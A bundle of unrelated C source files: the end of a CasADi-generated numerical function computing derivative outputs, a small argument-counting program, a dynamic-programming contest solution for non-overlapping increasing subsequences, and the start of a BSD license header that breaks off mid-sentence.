a40=(a17*a40);
a92=(a4*a40);
a86=(a18*a86);
a92=(a92+a86);
a92=(a73-a92);
a92=(a0*a92);
if (res[2]!=0) res[2][3]=a92;
a92=(a9*a78);
a93=(a14*a93);
a92=(a92+a93);
a93=(a8*a40);
a57=(a18*a57);
a93=(a93+a57);
a93=(a92-a93);
a93=(a0*a93);
if (res[2]!=0) res[2][4]=a93;
a78=(a12*a78);
a71=(a14*a71);
a78=(a78+a71);
a40=(a11*a40);
a63=(a18*a63);
a40=(a40+a63);
a40=(a78-a40);
a40=(a0*a40);
if (res[2]!=0) res[2][5]=a40;
a40=arg[2] ? arg[2][9] : 0;
if (res[2]!=0) res[2][6]=a40;
a40=arg[2] ? arg[2][10] : 0;
if (res[2]!=0) res[2][7]=a40;
a40=arg[2] ? arg[2][11] : 0;
if (res[2]!=0) res[2][8]=a40;
a26=(a26/a23);
a40=(a3+a3);
a63=arg[2] ? arg[2][12] : 0;
a46=(a63-a46);
a71=(a40*a46);
a93=(a7+a7);
a57=arg[2] ? arg[2][13] : 0;
a83=(a57-a83);
a86=(a93*a83);
a71=(a71+a86);
a86=(a10+a10);
a61=arg[2] ? arg[2][14] : 0;
a65=(a61-a65);
a58=(a86*a65);
a71=(a71+a58);
a23=(a23+a23);
a71=(a71/a23);
a71=(a26*a71);
a58=(a3*a71);
a46=(a27*a46);
a58=(a58+a46);
a73=(a58-a73);
a73=(a0*a73);
if (res[2]!=0) res[2][9]=a73;
a73=(a7*a71);
a83=(a27*a83);
a73=(a73+a83);
a92=(a73-a92);
a92=(a0*a92);
if (res[2]!=0) res[2][10]=a92;
a71=(a10*a71);
a65=(a27*a65);
a71=(a71+a65);
a78=(a71-a78);
a78=(a0*a78);
if (res[2]!=0) res[2][11]=a78;
a78=arg[2] ? arg[2][15] : 0;
if (res[2]!=0) res[2][12]=a78;
a78=arg[2] ? arg[2][16] : 0;
if (res[2]!=0) res[2][13]=a78;
a78=arg[2] ? arg[2][17] : 0;
if (res[2]!=0) res[2][14]=a78;
a32=(a32/a29);
a78=(a21+a21);
a65=arg[2] ? arg[2][18] : 0;
a63=(a65-a63);
a92=(a78*a63);
a83=(a24+a24);
a46=arg[2] ? arg[2][19] : 0;
a57=(a46-a57);
a67=(a83*a57);
a92=(a92+a67);
a67=(a25+a25);
a89=arg[2] ? arg[2][20] : 0;
a61=(a89-a61);
a87=(a67*a61);
a92=(a92+a87);
a29=(a29+a29);
a92=(a92/a29);
a92=(a32*a92);
a87=(a21*a92);
a63=(a33*a63);
a87=(a87+a63);
a58=(a87-a58);
a58=(a0*a58);
if (res[2]!=0) res[2][15]=a58;
a58=(a24*a92);
a57=(a33*a57);
a58=(a58+a57);
a73=(a58-a73);
a73=(a0*a73);
if (res[2]!=0) res[2][16]=a73;
a92=(a25*a92);
a61=(a33*a61);
a92=(a92+a61);
a71=(a92-a71);
a71=(a0*a71);
if (res[2]!=0) res[2][17]=a71;
a71=arg[2] ? arg[2][21] : 0;
if (res[2]!=0) res[2][18]=a71;
a71=arg[2] ? arg[2][22] : 0;
if (res[2]!=0) res[2][19]=a71;
a71=arg[2] ? arg[2][23] : 0;
if (res[2]!=0) res[2][20]=a71;
a38=(a38/a35);
a71=(a20+a20);
a61=arg[2] ? arg[2][24] : 0;
a65=(a61-a65);
a73=(a71*a65);
a57=(a30+a30);
a63=arg[2] ? arg[2][25] : 0;
a46=(a63-a46);
a62=(a57*a46);
a73=(a73+a62);
a62=(a31+a31);
a56=arg[2] ? arg[2][26] : 0;
a89=(a56-a89);
a54=(a62*a89);
a73=(a73+a54);
a35=(a35+a35);
a73=(a73/a35);
a73=(a38*a73);
a54=(a20*a73);
a65=(a39*a65);
a54=(a54+a65);
a87=(a54-a87);
a87=(a0*a87);
if (res[2]!=0) res[2][21]=a87;
a87=(a30*a73);
a46=(a39*a46);
a87=(a87+a46);
a58=(a87-a58);
a58=(a0*a58);
if (res[2]!=0) res[2][22]=a58;
a73=(a31*a73);
a89=(a39*a89);
a73=(a73+a89);
a92=(a73-a92);
a92=(a0*a92);
if (res[2]!=0) res[2][23]=a92;
a92=arg[2] ? arg[2][27] : 0;
if (res[2]!=0) res[2][24]=a92;
a92=arg[2] ? arg[2][28] : 0;
if (res[2]!=0) res[2][25]=a92;
a92=arg[2] ? arg[2][29] : 0;
if (res[2]!=0) res[2][26]=a92;
a44=(a44/a41);
a92=(a19+a19);
a89=arg[2] ? arg[2][30] : 0;
a61=(a89-a61);
a58=(a92*a61);
a46=(a36+a36);
a65=arg[2] ? arg[2][31] : 0;
a63=(a65-a63);
a84=(a46*a63);
a58=(a58+a84);
a84=(a37+a37);
a82=arg[2] ? arg[2][32] : 0;
a56=(a82-a56);
a22=(a84*a56);
a58=(a58+a22);
a41=(a41+a41);
a58=(a58/a41);
a58=(a44*a58);
a22=(a19*a58);
a61=(a45*a61);
a22=(a22+a61);
a54=(a22-a54);
a54=(a0*a54);
if (res[2]!=0) res[2][27]=a54;
a54=(a36*a58);
a63=(a45*a63);
a54=(a54+a63);
a87=(a54-a87);
a87=(a0*a87);
if (res[2]!=0) res[2][28]=a87;
a58=(a37*a58);
a56=(a45*a56);
a58=(a58+a56);
a73=(a58-a73);
a73=(a0*a73);
if (res[2]!=0) res[2][29]=a73;
a73=arg[2] ? arg[2][33] : 0;
if (res[2]!=0) res[2][30]=a73;
a73=arg[2] ? arg[2][34] : 0;
if (res[2]!=0) res[2][31]=a73;
a73=arg[2] ? arg[2][35] : 0;
if (res[2]!=0) res[2][32]=a73;
a50=(a50/a47);
a73=(a15+a15);
a56=arg[2] ? arg[2][36] : 0;
a89=(a56-a89);
a87=(a73*a89);
a63=(a42+a42);
a61=arg[2] ? arg[2][37] : 0;
a65=(a61-a65);
a97=(a63*a65);
a87=(a87+a97);
a97=(a43+a43);
a52=arg[2] ? arg[2][38] : 0;
a82=(a52-a82);
a79=(a97*a82);
a87=(a87+a79);
a47=(a47+a47);
a87=(a87/a47);
a87=(a50*a87);
a79=(a15*a87);
a89=(a51*a89);
a79=(a79+a89);
a22=(a79-a22);
a22=(a0*a22);
if (res[2]!=0) res[2][33]=a22;
a22=(a42*a87);
a65=(a51*a65);
a22=(a22+a65);
a54=(a22-a54);
a54=(a0*a54);
if (res[2]!=0) res[2][34]=a54;
a87=(a43*a87);
a82=(a51*a82);
a87=(a87+a82);
a58=(a87-a58);
a58=(a0*a58);
if (res[2]!=0) res[2][35]=a58;
a58=arg[2] ? arg[2][39] : 0;
if (res[2]!=0) res[2][36]=a58;
a58=arg[2] ? arg[2][40] : 0;
if (res[2]!=0) res[2][37]=a58;
a58=arg[2] ? arg[2][41] : 0;
if (res[2]!=0) res[2][38]=a58;
a2=(a2/a28);
a58=(a34+a34);
a82=arg[2] ? arg[2][42] : 0;
a82=(a82-a56);
a56=(a58*a82);
a54=(a53+a53);
a65=arg[2] ? arg[2][43] : 0;
a65=(a65-a61);
a61=(a54*a65);
a56=(a56+a61);
a61=(a48+a48);
a89=arg[2] ? arg[2][44] : 0;
a89=(a89-a52);
a52=(a61*a89);
a56=(a56+a52);
a28=(a28+a28);
a56=(a56/a28);
a56=(a2*a56);
a52=(a34*a56);
a82=(a49*a82);
a52=(a52+a82);
a52=(a52-a79);
a52=(a0*a52);
if (res[2]!=0) res[2][39]=a52;
a52=(a53*a56);
a65=(a49*a65);
a52=(a52+a65);
a52=(a52-a22);
a52=(a0*a52);
if (res[2]!=0) res[2][40]=a52;
a56=(a48*a56);
a89=(a49*a89);
a56=(a56+a89);
a56=(a56-a87);
a56=(a0*a56);
if (res[2]!=0) res[2][41]=a56;
a56=arg[2] ? arg[2][45] : 0;
if (res[2]!=0) res[2][42]=a56;
a56=arg[2] ? arg[2][46] : 0;
if (res[2]!=0) res[2][43]=a56;
a56=arg[2] ? arg[2][47] : 0;
if (res[2]!=0) res[2][44]=a56;
if (res[2]!=0) res[2][45]=a1;
if (res[2]!=0) res[2][46]=a80;
if (res[2]!=0) res[2][47]=a80;
a56=arg[2] ? arg[2][51] : 0;
if (res[2]!=0) res[2][48]=a56;
a56=arg[2] ? arg[2][52] : 0;
if (res[2]!=0) res[2][49]=a56;
a56=arg[2] ? arg[2][53] : 0;
if (res[2]!=0) res[2][50]=a56;
a56=arg[2] ? arg[2][54] : 0;
a87=arg[2] ? arg[2][48] : 0;
a89=(a56-a87);
a52=(a76*a89);
a22=arg[2] ? arg[2][55] : 0;
a65=arg[2] ? arg[2][49] : 0;
a79=(a22-a65);
a82=(a59*a79);
a52=(a52+a82);
a82=arg[2] ? arg[2][56] : 0;
a77=arg[2] ? arg[2][50] : 0;
a66=(a82-a77);
a98=(a91*a66);
a52=(a52+a98);
a52=(a52/a6);
a52=(a13*a52);
a98=(a5*a52);
a89=(a14*a89);
a98=(a98+a89);
a89=(a88*a87);
a99=(a55*a65);
a89=(a89+a99);
a99=(a94*a77);
a89=(a89+a99);
a89=(a89/a16);
a89=(a17*a89);
a99=(a4*a89);
a87=(a18*a87);
a99=(a99+a87);
a99=(a98-a99);
a99=(a0*a99);
if (res[2]!=0) res[2][51]=a99;
a99=(a9*a52);
a79=(a14*a79);
a99=(a99+a79);
a79=(a8*a89);
a65=(a18*a65);
a79=(a79+a65);
a79=(a99-a79);
a79=(a0*a79);
if (res[2]!=0) res[2][52]=a79;
a52=(a12*a52);
a66=(a14*a66);
a52=(a52+a66);
a89=(a11*a89);
a77=(a18*a77);
a89=(a89+a77);
a89=(a52-a89);
a89=(a0*a89);
if (res[2]!=0) res[2][53]=a89;
a89=arg[2] ? arg[2][57] : 0;
if (res[2]!=0) res[2][54]=a89;
a89=arg[2] ? arg[2][58] : 0;
if (res[2]!=0) res[2][55]=a89;
a89=arg[2] ? arg[2][59] : 0;
if (res[2]!=0) res[2][56]=a89;
a89=arg[2] ? arg[2][60] : 0;
a56=(a89-a56);
a77=(a40*a56);
a66=arg[2] ? arg[2][61] : 0;
a22=(a66-a22);
a79=(a93*a22);
a77=(a77+a79);
a79=arg[2] ? arg[2][62] : 0;
a82=(a79-a82);
a65=(a86*a82);
a77=(a77+a65);
a77=(a77/a23);
a77=(a26*a77);
a65=(a3*a77);
a56=(a27*a56);
a65=(a65+a56);
a98=(a65-a98);
a98=(a0*a98);
if (res[2]!=0) res[2][57]=a98;
a98=(a7*a77);
a22=(a27*a22);
a98=(a98+a22);
a99=(a98-a99);
a99=(a0*a99);
if (res[2]!=0) res[2][58]=a99;
a77=(a10*a77);
a82=(a27*a82);
a77=(a77+a82);
a52=(a77-a52);
a52=(a0*a52);
if (res[2]!=0) res[2][59]=a52;
a52=arg[2] ? arg[2][63] : 0;
if (res[2]!=0) res[2][60]=a52;
a52=arg[2] ? arg[2][64] : 0;
if (res[2]!=0) res[2][61]=a52;
a52=arg[2] ? arg[2][65] : 0;
if (res[2]!=0) res[2][62]=a52;
a52=arg[2] ? arg[2][66] : 0;
a89=(a52-a89);
a82=(a78*a89);
a99=arg[2] ? arg[2][67] : 0;
a66=(a99-a66);
a22=(a83*a66);
a82=(a82+a22);
a22=arg[2] ? arg[2][68] : 0;
a79=(a22-a79);
a56=(a67*a79);
a82=(a82+a56);
a82=(a82/a29);
a82=(a32*a82);
a56=(a21*a82);
a89=(a33*a89);
a56=(a56+a89);
a65=(a56-a65);
a65=(a0*a65);
if (res[2]!=0) res[2][63]=a65;
a65=(a24*a82);
a66=(a33*a66);
a65=(a65+a66);
a98=(a65-a98);
a98=(a0*a98);
if (res[2]!=0) res[2][64]=a98;
a82=(a25*a82);
a79=(a33*a79);
a82=(a82+a79);
a77=(a82-a77);
a77=(a0*a77);
if (res[2]!=0) res[2][65]=a77;
a77=arg[2] ? arg[2][69] : 0;
if (res[2]!=0) res[2][66]=a77;
a77=arg[2] ? arg[2][70] : 0;
if (res[2]!=0) res[2][67]=a77;
a77=arg[2] ? arg[2][71] : 0;
if (res[2]!=0) res[2][68]=a77;
a77=arg[2] ? arg[2][72] : 0;
a52=(a77-a52);
a79=(a71*a52);
a98=arg[2] ? arg[2][73] : 0;
a99=(a98-a99);
a66=(a57*a99);
a79=(a79+a66);
a66=arg[2] ? arg[2][74] : 0;
a22=(a66-a22);
a89=(a62*a22);
a79=(a79+a89);
a79=(a79/a35);
a79=(a38*a79);
a89=(a20*a79);
a52=(a39*a52);
a89=(a89+a52);
a56=(a89-a56);
a56=(a0*a56);
if (res[2]!=0) res[2][69]=a56;
a56=(a30*a79);
a99=(a39*a99);
a56=(a56+a99);
a65=(a56-a65);
a65=(a0*a65);
if (res[2]!=0) res[2][70]=a65;
a79=(a31*a79);
a22=(a39*a22);
a79=(a79+a22);
a82=(a79-a82);
a82=(a0*a82);
if (res[2]!=0) res[2][71]=a82;
a82=arg[2] ? arg[2][75] : 0;
if (res[2]!=0) res[2][72]=a82;
a82=arg[2] ? arg[2][76] : 0;
if (res[2]!=0) res[2][73]=a82;
a82=arg[2] ? arg[2][77] : 0;
if (res[2]!=0) res[2][74]=a82;
a82=arg[2] ? arg[2][78] : 0;
a77=(a82-a77);
a22=(a92*a77);
a65=arg[2] ? arg[2][79] : 0;
a98=(a65-a98);
a99=(a46*a98);
a22=(a22+a99);
a99=arg[2] ? arg[2][80] : 0;
a66=(a99-a66);
a52=(a84*a66);
a22=(a22+a52);
a22=(a22/a41);
a22=(a44*a22);
a52=(a19*a22);
a77=(a45*a77);
a52=(a52+a77);
a89=(a52-a89);
a89=(a0*a89);
if (res[2]!=0) res[2][75]=a89;
a89=(a36*a22);
a98=(a45*a98);
a89=(a89+a98);
a56=(a89-a56);
a56=(a0*a56);
if (res[2]!=0) res[2][76]=a56;
a22=(a37*a22);
a66=(a45*a66);
a22=(a22+a66);
a79=(a22-a79);
a79=(a0*a79);
if (res[2]!=0) res[2][77]=a79;
a79=arg[2] ? arg[2][81] : 0;
if (res[2]!=0) res[2][78]=a79;
a79=arg[2] ? arg[2][82] : 0;
if (res[2]!=0) res[2][79]=a79;
a79=arg[2] ? arg[2][83] : 0;
if (res[2]!=0) res[2][80]=a79;
a79=arg[2] ? arg[2][84] : 0;
a82=(a79-a82);
a66=(a73*a82);
a56=arg[2] ? arg[2][85] : 0;
a65=(a56-a65);
a98=(a63*a65);
a66=(a66+a98);
a98=arg[2] ? arg[2][86] : 0;
a99=(a98-a99);
a77=(a97*a99);
a66=(a66+a77);
a66=(a66/a47);
a66=(a50*a66);
a77=(a15*a66);
a82=(a51*a82);
a77=(a77+a82);
a52=(a77-a52);
a52=(a0*a52);
if (res[2]!=0) res[2][81]=a52;
a52=(a42*a66);
a65=(a51*a65);
a52=(a52+a65);
a89=(a52-a89);
a89=(a0*a89);
if (res[2]!=0) res[2][82]=a89;
a66=(a43*a66);
a99=(a51*a99);
a66=(a66+a99);
a22=(a66-a22);
a22=(a0*a22);
if (res[2]!=0) res[2][83]=a22;
a22=arg[2] ? arg[2][87] : 0;
if (res[2]!=0) res[2][84]=a22;
a22=arg[2] ? arg[2][88] : 0;
if (res[2]!=0) res[2][85]=a22;
a22=arg[2] ? arg[2][89] : 0;
if (res[2]!=0) res[2][86]=a22;
a22=arg[2] ? arg[2][90] : 0;
a22=(a22-a79);
a79=(a58*a22);
a99=arg[2] ? arg[2][91] : 0;
a99=(a99-a56);
a56=(a54*a99);
a79=(a79+a56);
a56=arg[2] ? arg[2][92] : 0;
a56=(a56-a98);
a98=(a61*a56);
a79=(a79+a98);
a79=(a79/a28);
a79=(a2*a79);
a98=(a34*a79);
a22=(a49*a22);
a98=(a98+a22);
a98=(a98-a77);
a98=(a0*a98);
if (res[2]!=0) res[2][87]=a98;
a98=(a53*a79);
a99=(a49*a99);
a98=(a98+a99);
a98=(a98-a52);
a98=(a0*a98);
if (res[2]!=0) res[2][88]=a98;
a79=(a48*a79);
a56=(a49*a56);
a79=(a79+a56);
a79=(a79-a66);
a79=(a0*a79);
if (res[2]!=0) res[2][89]=a79;
a79=arg[2] ? arg[2][93] : 0;
if (res[2]!=0) res[2][90]=a79;
a79=arg[2] ? arg[2][94] : 0;
if (res[2]!=0) res[2][91]=a79;
a79=arg[2] ? arg[2][95] : 0;
if (res[2]!=0) res[2][92]=a79;
if (res[2]!=0) res[2][93]=a80;
if (res[2]!=0) res[2][94]=a1;
if (res[2]!=0) res[2][95]=a80;
a79=arg[2] ? arg[2][99] : 0;
if (res[2]!=0) res[2][96]=a79;
a79=arg[2] ? arg[2][100] : 0;
if (res[2]!=0) res[2][97]=a79;
a79=arg[2] ? arg[2][101] : 0;
if (res[2]!=0) res[2][98]=a79;
a79=arg[2] ? arg[2][102] : 0;
a66=arg[2] ? arg[2][96] : 0;
a56=(a79-a66);
a76=(a76*a56);
a98=arg[2] ? arg[2][103] : 0;
a52=arg[2] ? arg[2][97] : 0;
a99=(a98-a52);
a59=(a59*a99);
a76=(a76+a59);
a59=arg[2] ? arg[2][104] : 0;
a77=arg[2] ? arg[2][98] : 0;
a22=(a59-a77);
a91=(a91*a22);
a76=(a76+a91);
a76=(a76/a6);
a13=(a13*a76);
a5=(a5*a13);
a56=(a14*a56);
a5=(a5+a56);
a88=(a88*a66);
a55=(a55*a52);
a88=(a88+a55);
a94=(a94*a77);
a88=(a88+a94);
a88=(a88/a16);
a17=(a17*a88);
a4=(a4*a17);
a66=(a18*a66);
a4=(a4+a66);
a4=(a5-a4);
a4=(a0*a4);
if (res[2]!=0) res[2][99]=a4;
a9=(a9*a13);
a99=(a14*a99);
a9=(a9+a99);
a8=(a8*a17);
a52=(a18*a52);
a8=(a8+a52);
a8=(a9-a8);
a8=(a0*a8);
if (res[2]!=0) res[2][100]=a8;
a12=(a12*a13);
a14=(a14*a22);
a12=(a12+a14);
a11=(a11*a17);
a18=(a18*a77);
a11=(a11+a18);
a11=(a12-a11);
a11=(a0*a11);
if (res[2]!=0) res[2][101]=a11;
a11=arg[2] ? arg[2][105] : 0;
if (res[2]!=0) res[2][102]=a11;
a11=arg[2] ? arg[2][106] : 0;
if (res[2]!=0) res[2][103]=a11;
a11=arg[2] ? arg[2][107] : 0;
if (res[2]!=0) res[2][104]=a11;
a11=arg[2] ? arg[2][108] : 0;
a79=(a11-a79);
a40=(a40*a79);
a18=arg[2] ? arg[2][109] : 0;
a98=(a18-a98);
a93=(a93*a98);
a40=(a40+a93);
a93=arg[2] ? arg[2][110] : 0;
a59=(a93-a59);
a86=(a86*a59);
a40=(a40+a86);
a40=(a40/a23);
a26=(a26*a40);
a3=(a3*a26);
a79=(a27*a79);
a3=(a3+a79);
a5=(a3-a5);
a5=(a0*a5);
if (res[2]!=0) res[2][105]=a5;
a7=(a7*a26);
a98=(a27*a98);
a7=(a7+a98);
a9=(a7-a9);
a9=(a0*a9);
if (res[2]!=0) res[2][106]=a9;
a10=(a10*a26);
a27=(a27*a59);
a10=(a10+a27);
a12=(a10-a12);
a12=(a0*a12);
if (res[2]!=0) res[2][107]=a12;
a12=arg[2] ? arg[2][111] : 0;
if (res[2]!=0) res[2][108]=a12;
a12=arg[2] ? arg[2][112] : 0;
if (res[2]!=0) res[2][109]=a12;
a12=arg[2] ? arg[2][113] : 0;
if (res[2]!=0) res[2][110]=a12;
a12=arg[2] ? arg[2][114] : 0;
a11=(a12-a11);
a78=(a78*a11);
a27=arg[2] ? arg[2][115] : 0;
a18=(a27-a18);
a83=(a83*a18);
a78=(a78+a83);
a83=arg[2] ? arg[2][116] : 0;
a93=(a83-a93);
a67=(a67*a93);
a78=(a78+a67);
a78=(a78/a29);
a32=(a32*a78);
a21=(a21*a32);
a11=(a33*a11);
a21=(a21+a11);
a3=(a21-a3);
a3=(a0*a3);
if (res[2]!=0) res[2][111]=a3;
a24=(a24*a32);
a18=(a33*a18);
a24=(a24+a18);
a7=(a24-a7);
a7=(a0*a7);
if (res[2]!=0) res[2][112]=a7;
a25=(a25*a32);
a33=(a33*a93);
a25=(a25+a33);
a10=(a25-a10);
a10=(a0*a10);
if (res[2]!=0) res[2][113]=a10;
a10=arg[2] ? arg[2][117] : 0;
if (res[2]!=0) res[2][114]=a10;
a10=arg[2] ? arg[2][118] : 0;
if (res[2]!=0) res[2][115]=a10;
a10=arg[2] ? arg[2][119] : 0;
if (res[2]!=0) res[2][116]=a10;
a10=arg[2] ? arg[2][120] : 0;
a12=(a10-a12);
a71=(a71*a12);
a33=arg[2] ? arg[2][121] : 0;
a27=(a33-a27);
a57=(a57*a27);
a71=(a71+a57);
a57=arg[2] ? arg[2][122] : 0;
a83=(a57-a83);
a62=(a62*a83);
a71=(a71+a62);
a71=(a71/a35);
a38=(a38*a71);
a20=(a20*a38);
a12=(a39*a12);
a20=(a20+a12);
a21=(a20-a21);
a21=(a0*a21);
if (res[2]!=0) res[2][117]=a21;
a30=(a30*a38);
a27=(a39*a27);
a30=(a30+a27);
a24=(a30-a24);
a24=(a0*a24);
if (res[2]!=0) res[2][118]=a24;
a31=(a31*a38);
a39=(a39*a83);
a31=(a31+a39);
a25=(a31-a25);
a25=(a0*a25);
if (res[2]!=0) res[2][119]=a25;
a25=arg[2] ? arg[2][123] : 0;
if (res[2]!=0) res[2][120]=a25;
a25=arg[2] ? arg[2][124] : 0;
if (res[2]!=0) res[2][121]=a25;
a25=arg[2] ? arg[2][125] : 0;
if (res[2]!=0) res[2][122]=a25;
a25=arg[2] ? arg[2][126] : 0;
a10=(a25-a10);
a92=(a92*a10);
a39=arg[2] ? arg[2][127] : 0;
a33=(a39-a33);
a46=(a46*a33);
a92=(a92+a46);
a46=arg[2] ? arg[2][128] : 0;
a57=(a46-a57);
a84=(a84*a57);
a92=(a92+a84);
a92=(a92/a41);
a44=(a44*a92);
a19=(a19*a44);
a10=(a45*a10);
a19=(a19+a10);
a20=(a19-a20);
a20=(a0*a20);
if (res[2]!=0) res[2][123]=a20;
a36=(a36*a44);
a33=(a45*a33);
a36=(a36+a33);
a30=(a36-a30);
a30=(a0*a30);
if (res[2]!=0) res[2][124]=a30;
a37=(a37*a44);
a45=(a45*a57);
a37=(a37+a45);
a31=(a37-a31);
a31=(a0*a31);
if (res[2]!=0) res[2][125]=a31;
a31=arg[2] ? arg[2][129] : 0;
if (res[2]!=0) res[2][126]=a31;
a31=arg[2] ? arg[2][130] : 0;
if (res[2]!=0) res[2][127]=a31;
a31=arg[2] ? arg[2][131] : 0;
if (res[2]!=0) res[2][128]=a31;
a31=arg[2] ? arg[2][132] : 0;
a25=(a31-a25);
a73=(a73*a25);
a45=arg[2] ? arg[2][133] : 0;
a39=(a45-a39);
a63=(a63*a39);
a73=(a73+a63);
a63=arg[2] ? arg[2][134] : 0;
a46=(a63-a46);
a97=(a97*a46);
a73=(a73+a97);
a73=(a73/a47);
a50=(a50*a73);
a15=(a15*a50);
a25=(a51*a25);
a15=(a15+a25);
a19=(a15-a19);
a19=(a0*a19);
if (res[2]!=0) res[2][129]=a19;
a42=(a42*a50);
a39=(a51*a39);
a42=(a42+a39);
a36=(a42-a36);
a36=(a0*a36);
if (res[2]!=0) res[2][130]=a36;
a43=(a43*a50);
a51=(a51*a46);
a43=(a43+a51);
a37=(a43-a37);
a37=(a0*a37);
if (res[2]!=0) res[2][131]=a37;
a37=arg[2] ? arg[2][135] : 0;
if (res[2]!=0) res[2][132]=a37;
a37=arg[2] ? arg[2][136] : 0;
if (res[2]!=0) res[2][133]=a37;
a37=arg[2] ? arg[2][137] : 0;
if (res[2]!=0) res[2][134]=a37;
a37=arg[2] ? arg[2][138] : 0;
a37=(a37-a31);
a58=(a58*a37);
a31=arg[2] ? arg[2][139] : 0;
a31=(a31-a45);
a54=(a54*a31);
a58=(a58+a54);
a54=arg[2] ? arg[2][140] : 0;
a54=(a54-a63);
a61=(a61*a54);
a58=(a58+a61);
a58=(a58/a28);
a2=(a2*a58);
a34=(a34*a2);
a37=(a49*a37);
a34=(a34+a37);
a34=(a34-a15);
a34=(a0*a34);
if (res[2]!=0) res[2][135]=a34;
a53=(a53*a2);
a31=(a49*a31);
a53=(a53+a31);
a53=(a53-a42);
a53=(a0*a53);
if (res[2]!=0) res[2][136]=a53;
a48=(a48*a2);
a49=(a49*a54);
a48=(a48+a49);
a48=(a48-a43);
a0=(a0*a48);
if (res[2]!=0) res[2][137]=a0;
a0=arg[2] ? arg[2][141] : 0;
if (res[2]!=0) res[2][138]=a0;
a0=arg[2] ? arg[2][142] : 0;
if (res[2]!=0) res[2][139]=a0;
a0=arg[2] ? arg[2][143] : 0;
if (res[2]!=0) res[2][140]=a0;
if (res[2]!=0) res[2][141]=a80;
if (res[2]!=0) res[2][142]=a80;
if (res[2]!=0) res[2][143]=a1;
return 0;
}
CASADI_SYMBOL_EXPORT int vde_chain_nm9(const casadi_real** arg, casadi_real** res, casadi_int* iw, casadi_real* w, void* mem){
return casadi_f0(arg, res, iw, w, mem);
}
CASADI_SYMBOL_EXPORT void vde_chain_nm9_incref(void) {
}
CASADI_SYMBOL_EXPORT void vde_chain_nm9_decref(void) {
}
CASADI_SYMBOL_EXPORT casadi_int vde_chain_nm9_n_in(void) { return 4;}
CASADI_SYMBOL_EXPORT casadi_int vde_chain_nm9_n_out(void) { return 3;}
CASADI_SYMBOL_EXPORT const char* vde_chain_nm9_name_in(casadi_int i){
switch (i) {
case 0: return "i0";
case 1: return "i1";
case 2: return "i2";
case 3: return "i3";
default: return 0;
}
}
CASADI_SYMBOL_EXPORT const char* vde_chain_nm9_name_out(casadi_int i){
switch (i) {
case 0: return "o0";
case 1: return "o1";
case 2: return "o2";
default: return 0;
}
}
CASADI_SYMBOL_EXPORT const casadi_int* vde_chain_nm9_sparsity_in(casadi_int i) {
switch (i) {
case 0: return casadi_s0;
case 1: return casadi_s1;
case 2: return casadi_s2;
case 3: return casadi_s3;
default: return 0;
}
}
CASADI_SYMBOL_EXPORT const casadi_int* vde_chain_nm9_sparsity_out(casadi_int i) {
switch (i) {
case 0: return casadi_s0;
case 1: return casadi_s1;
case 2: return casadi_s2;
default: return 0;
}
}
CASADI_SYMBOL_EXPORT int vde_chain_nm9_work(casadi_int *sz_arg, casadi_int* sz_res, casadi_int *sz_iw, casadi_int *sz_w) {
if (sz_arg) *sz_arg = 4;
if (sz_res) *sz_res = 3;
if (sz_iw) *sz_iw = 0;
if (sz_w) *sz_w = 0;
return 0;
}
#ifdef __cplusplus
} /* extern "C" */
#endif
|
the_stack_data/93888763.c
|
void mx_printchar(char c);
void mx_printint(int n);
void mx_printstr(const char *s);
#include <stdio.h>
int main(int argc, char *argv[]) {
int i;
{
int count = 0;
for(i = 0; i < argc; i++) {
if (i==0) {
mx_printstr(argv[0]);
mx_printchar('\n');
}
count++;
}
mx_printint(count);
mx_printchar('\n');
}
return 0;
}
|
the_stack_data/90361.c
|
/*
Problem: Maximum Non-Overlapping Increasing Subsequences (UCF Local 2017)
Author: Shahidul Islam (Sumon)
*/
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define ARRAY_SZ 101
int array[ARRAY_SZ];
int lisArray[ARRAY_SZ];
int pairwiseLIS[ARRAY_SZ][ARRAY_SZ];
int matrix[ARRAY_SZ][ARRAY_SZ][ARRAY_SZ];
int lis(int *array, int count);
void parenthesize(int array[], int count);
int main()
{
freopen("mnois.in", "r", stdin);
int i, j, n, m, optParenthesis;
//Input and Output
scanf("%d", &n);
for(i = 1; i <= n; i++)
{
scanf("%d", &m);
for(j = 0; j < m; j++)
scanf("%d", &array[j]);
parenthesize(array, m);
printf("%d", matrix[0][0][m-1]);
for(j = 1; j < m; j++)
printf(" %d", matrix[j][0][m-1]);
printf("\n");
}
return 0;
}
//Find the optimal parenthesization
void parenthesize(int array[], int count)
{
int len, i, j, k, l, elements, lisValue;
//Calculate LIS length for all pair of indices
for(i = 0; i < count; i++)
for(j = i; j < count; j++)
pairwiseLIS[i][j] = lis(&array[i], j - i + 1);
lisValue = pairwiseLIS[0][count - 1];
//initialize the matrix for 1 element K > 1
for(k = 0; k < count; k++)
for (i = 0; i < count; i++)
for (j = i; j < count; j++)
matrix[k][i][j] = 0;
//for K = 1, result is number of total elements
matrix[0][0][count - 1] = count;
//Generate the optimal parenthesization for all K
for(k = 1; k < lisValue; k++)
{
for (i = count - 1; i >= 0; i--)
{
for (j = i + 1; j < count; j++)
{
if(pairwiseLIS[i][j] >= k + 1)
matrix[k][i][j] = pairwiseLIS[i][j];
else
matrix[k][i][j] = 0;
for (l = i; l < j; l++)
{
elements = matrix[k][i][l] + matrix[k][l+1][j];
if (elements > matrix[k][i][j])
matrix[k][i][j] = elements;
}
}
}
}
}
//Calculate LIS length from count items in array
int lis(int *array, int count)
{
int i, j, len = 0, lo, hi, mid;
for(i = 0; i < count; i++)
{
lo = -1;
hi = len;
while(lo < hi - 1)
{
mid = (lo + hi) / 2;
if(lisArray[mid] < array[i])
lo = mid;
else
hi = mid;
}
lisArray[hi] = array[i];
if(hi == len)
len++;
}
return len;
}
|
the_stack_data/215767796.c
|
/*-
* Copyright (c) 1991, 1993
* Dave Safford. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
